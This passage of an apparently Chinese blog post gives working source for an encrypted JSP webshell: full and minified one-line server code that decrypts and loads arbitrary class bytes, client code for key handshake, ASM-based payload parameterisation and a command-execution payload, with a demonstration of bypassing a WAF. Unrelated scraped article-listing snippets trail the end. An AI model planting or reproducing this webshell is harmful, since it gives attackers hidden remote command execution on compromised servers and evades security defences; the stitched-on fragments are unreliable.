AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
            BASE64Decoder code=new sun.misc.BASE64Decoder();
            Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
            System.out.println(result.newInstance().toString());
        }
    }

    上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:

    package net.rebeyond;
    import java.io.IOException;
    
    public class Payload {
        @Override
        public String toString() {
            // TODO Auto-generated method stub
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            return "OK";
        }
    }

    简单解释一下上述代码:

    • 首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
    • 单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。
    • main函数中classStr变量为上述Payload.class文件二进制流的base64编码。
    • 新建一个Myloader的实例,将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属性)。
    • 调用result类的默认无参构造器newInstance()生成一个Payload类的实例,然后调用该实例的toString方法,继而执行toString方法中的代码:Runtime.getRuntime().exec("calc.exe");return “OK”
    • 在控制台打印出toString方法的返回值。
      OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:

    到此,我们就可以直接动态解析并执行编译好的class字节流了。

    2.生成密钥:

    首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:

    if (request.getMethod().equalsIgnoreCase("get")) {
        String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
        request.getSession().setAttribute("uid", k);
        out.println(k);
        return;
    }

    这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。

    3.解密数据,执行:

    当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:

    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
    new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();

    4.改进一下

    前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。

    重新翻看了一下Object类的方法列表:

    可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。

    方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?

    JSP有9个内置对象:

    但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

    另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。

    解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:

    5.完整代码:

    <%@ page
        import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
    <%!
    /*
    定义ClassLoader的子类Myloader
    */
    public static class Myloader extends ClassLoader {
        public Myloader(ClassLoader c) 
        {super(c);}
        public Class get(byte[] b) {  //定义get方法用来将指定的byte[]传给父类的defineClass
            return super.defineClass(b, 0, b.length);
        }
    }
    %>
    <%
        if (request.getParameter("pass")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
            String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的密钥
            request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
            out.print(k); //将密钥发送给客户端
            return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
        }
        /*
        当请求为非握手请求时,执行下面的分支,准备解密数据并执行
        */
        String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
        Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
        Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
        c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
        Byte[] classData= c.doFinal(encryptedData);  //AES解密操作
        Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
        String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
    %>

    为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

    现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:

    <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>

    至此,我们的具有动态解密功能的、能解析执行任意二进制流的新型一句话木马就完成了。

    客户端实现

    1.远程获取加密密钥:

    客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:

    public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
        Map<String, String> result = new HashMap<String, String>();
        StringBuffer sb = new StringBuffer();
        InputStreamReader isr = null;
        BufferedReader br = null;
        URL url = new URL(getUrl);
        URLConnection urlConnection = url.openConnection();
    
        String cookieValue = urlConnection.getHeaderField("Set-Cookie");
        result.put("cookie", cookieValue);
        isr = new InputStreamReader(urlConnection.getInputStream());
        br = new BufferedReader(isr);
        String line;
        while ((line = br.readLine()) != null) {
            sb.append(line);
        }
        br.close();
        result.put("key", sb.toString());
        return result;
    }

    2.动态生成class字节数组:

    我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:

    public class Cmd {
    
    public static String cmd;
    
    @Override
    public boolean equals(Object obj) {
        // TODO Auto-generated method stub
        PageContext page = (PageContext) obj;
        page.getResponse().setCharacterEncoding("UTF-8");
        Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
        try {
            String result = "";
            if (cmd != null && cmd.length() > 0) {
                Process p;
                if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                    p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
                } else {
                    p = Runtime.getRuntime().exec(cmd);
                }
                BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
                String disr = br.readLine();
                while (disr != null) {
                    result = result + disr + "\n";
                    disr = br.readLine();
                }
                result = new String(result.getBytes(osCharset));
                page.getOut().write(result.trim());
            }
        } catch (Exception e) {
            try {
                page.getOut().write(e.getMessage());
            } catch (IOException e1) {
                // TODO Auto-generated catch block
                e1.printStackTrace();
            }
        }
    
        return true;
    }

    3.已编译类的参数化:

    上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:

    public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
    {
        byte[] result;
        ClassReader classReader = new ClassReader(clsName);
        final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
    
        classReader.accept(new ClassAdapter(cw) {
    
            @Override
            public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
                // TODO Auto-generated method stub
                if (params.containsKey(filedName))
                {
                    String paramValue=params.get(filedName);
                    return super.visitField(arg0, filedName, arg2, arg3, paramValue);
                }
    
                return super.visitField(arg0, filedName, arg2, arg3, arg4);
            }},0);
        result=cw.toByteArray();
        return result;
    }

    我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。

    4.加密payload:

    利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:

    public static String getData(String key,String className,Map<String,String> params) throws Exception
    {
        byte[] bincls=Params.getParamedClass(className, params);
        byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
        String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
        return basedEncryBincls;
    }

    5.发送payload,接收执行结果并解密:

    Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。

    案例演示

    下面我找了一个测试站点来演示一下绕过防御系统的效果:

    首先我上传一个常规的jsp一句话木马:

    然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

    然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:

    本篇完。

    展开全文
  • 对象怎样有新生代转到年老代

    千次阅读 2015-11-22 23:18:39
    自动内存管理即:给对象分配内存以及分配给对象的内存 现在探讨内存分配对象的那点事 首先:对象内存分配都分配到那个地方? 堆分配,但也可能经过jIT编译后被拆散为标量类型并间接地分配 1:对象优先...
  • js面向对象

    千次阅读 多人点赞 2020-02-23 18:18:26
    什么是面向对象
  • Js动态给表格节点tbody添加数据

    万次阅读 2018-10-14 19:56:31
    * 动态&lt;td&gt;填充当前页 */ function fillPage() { // 根据记录数确定要生成的行数 for (var i = 0; i != dataArray.length; ++i) { // 创建一个行元素 var row = document.createElement('tr');...
  • 秒懂Java代理与动态代理模式

    万次阅读 多人点赞 2018-06-30 17:08:23
    版权申明】非商业目的可自由转载 博文地址: 出自:shusheng007 概述 什么是代理模式?解决什么问题(即为什么需要)?...什么是动态代理模式?... 定义:为其他对象提供一种代理以控制对这个对象的访问 ...
  • 面向对象编程思想

    万次阅读 2014-06-24 21:18:46
    它是从现实世界中客观存在的事物(即对象)出发来构造软件系统,并系统构造中尽可能运用人类的自然思维方式,强调直接以问题域(现实世界)中的事物为中心来思考问题,认识问题,并根据这些事物的本质特点,把它们...
  • 面向对象:类的概念和定义!

    万次阅读 多人点赞 2018-05-28 10:16:37
    面向对象的概念: 对象: Object,含有“物体”的概念,一切皆物体(对象)。对象由静态的属性和动态的行为组成。 属性:行为:存储、保温 类: 一组具有相同属性和行为的对象的抽象。杯子: ...
  • 来源丨Hackhttps://mp....今天就来大家分享一下,什么叫大数据抓出轨。据史料证明,马爸爸年轻时曾被绿过 18 次,所以才有了今天像淘宝和支付宝这样的抓出轨利器。(woluanshuode)虽然是我胡诌,但我也是有证...
  • JavaScript 对象字面量(object literal)

    千次阅读 2016-11-27 23:14:15
    什么是字面量 用来为变量赋值时的常数量 对象字面量 对象字面值是封闭花括号对({})中...这个例子中,左边的花括号({)表示对象字面量的开始,因为它出现了表达式下文(expression context)中。 JavaScript
  • 原文地址:http://www.cnblogs.com/qianyz/archive/2010/10/11/1848079.htmlsqlcommand主要是通过sqlconnection来命令的。最常用的是 select命令,这就要先来说说sqldatareader 的工作
  • (十)vue实例对象介绍

    千次阅读 2018-11-12 13:27:47
    前三个基本已经讲了,我们直接来看实例对象的计算属性 (4)Computed 计算属性 1)什么是计算属性 1.计算属性即computed, 和前面我们讲的methods方法基本一样。他们的写法都是函数形式。 2.不同的是,methods...
  • response对象的组成及应用

    千次阅读 2017-04-08 15:52:42
    web服务器收到客户端的http请求,会针对每一次请求,分别创建一个用于代表请求的request对象、和代表响应的response对象。request和response对象既然代表请求与响应,那我们要获取客户机...这个对象中封装了向客户端
  • 面向对象的分析

    千次阅读 2011-04-11 08:27:00
     面向对象...但是,明确地对象的定义或说明对象的定义的非常少——至少我现在还没有发现。其初,“面向对象”是专指程序设计中采用封装、继承、抽象等设计方法。可是,这个定义显然不能再适合现在情
  • 面向对象浅谈

    千次阅读 2007-04-03 00:23:00
    面向对象 面向对象(Object Oriented,OO)是当前计算机界关心的重点,它是90年代软件开发方法的主流。面向对象的概念和应用已超越了程序设计和软件开发,扩展到很宽的范围。...但是,明确地对象的定义或说
  • Unity对象池(一)

    千次阅读 多人点赞 2016-04-22 16:07:33
    unity 对象池的使用
  • 当黑洞、AI、机器人、宇宙大爆炸等概念被科幻片玩滥了以后,量子成功上位成为了目前的科幻新秀,新推出的科幻片不掺杂点「量子概念」都不好意思电影预告。 量子就像是烹饪时放的万能咖喱酱,只要往电影里一加,...
  • asp.net夜之六:asp.net基本控件

    万次阅读 热门讨论 2008-10-06 08:36:00
    asp.net夜之六:asp.net基本控件本系列之三《asp.net夜之三:表单和控件》中讲到了HTML服务器控件,HTML服务器控件有如下特点:(1)HTML服务器控件是建立HTML控件的基础,额外增加了一个当前页面中唯一...
  • 面向对象的基本思想

    千次阅读 2013-08-08 12:18:09
    面向对象的基本思想 定义 面向对象是一种对现实世界理解和抽象的方法,是计算机编程技术[1]发展到一定阶段后的产物。早期的计算机编程是基于面向过程的方法,例如实现算术运算1+1+2 = 4,通过设计一个算法就...
  • [大话技术]聊有趣的23种设计模式

    千次阅读 2016-09-15 22:13:30
    网上看见了23种设计模式的有趣见解这篇文章,作者以轻松的语言比喻了java的23种模式,觉得蛮有意思的,我其基础再加工一下,分享大家.大家一起学习.一起进步. 1、FACTORY(工厂模式) 追MM少不了请吃饭了,...
  •  在对象上调用方法是Objective-C中经常使用的功能。用Objective-C术语来说这叫做:“传递消息”(pass a message)。消息有“名称”(name)或者“选择子”(selector),可以接收参数,而且可能还有返回值。  ...
  • 深入理解Class对象 ...认识Class对象之前,先来了解一个概念,RTTI(Run-Time Type Identification)运行时类型识别,对于这个词一直是 C++ 中的概念,至于Java中出现RRTI的说法则是源于《Thin...
  • Java的堆是一个运行时数据区,类的实例对象从中分配空间.Java虚拟机的堆中存储着正在运行的应用程序所建立的所有对象,这些对象通过new,newarray,anewarray和multainewarray等指令建立,但是它们不需要程序代码来显式地...
  • Python面向对象编程(一)

    千次阅读 2019-01-06 16:58:46
    Python是一个面向对象的编程语言,但是很多人就要问了,到底什么叫做面向对象呢?面向对象编程又是什么呢? 日常生活中,我们总是喜欢把事物归类,俗话说的好,“物以类聚,人以群分“嘛,我们人类和家里养的猫猫...
  • 直观理解类和对象

    千次阅读 2009-12-14 14:37:00
    说明: 我正在撰写《面向对象的艺术——.NET Framework 4.0技术剖析与应用》(暂名)一书,会陆续将一些章节到我的博客。 作者本人拥有所有的版权。允许自由阅读和转载这些文章,但任何个人与机构不能将其用于...
  • OC中的面向对象编程思想<一>

    千次阅读 2015-12-04 14:20:18
    Objective-C 常写作Objc或者OC. 它的流行归功于Iphone的成功。编写iPhone应用程序主要编程...)Objective-C语言是一种简单的基于当下先进的面向对象的一种计算机语言。它作为标准的ANSI C语言的扩展,轻量但很强大。
  • asp.net夜之五:Page类和回调技术

    万次阅读 热门讨论 2008-09-28 08:04:00
    asp.net夜之五:Page类和回调技术今天我主要要介绍的有如下知识点:Page类介绍Page的生命周期IsPostBack属性ClientScriptManager类回调技术(CallBack) Page类介绍asp.net有时候也被成为WebForm,因为开发一个...
  • 封装是面向对象的特征之一,是对象和类概念的主要特性。 封装,也就是把客观事物封装成抽象的类,并且类可以把自己的数据和方法只让可信的类或者对象操作,对不可信的进行信息隐藏。 继承 面向对象编程 ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 85,591
精华内容 34,236
关键字:

在动态上给对象发的话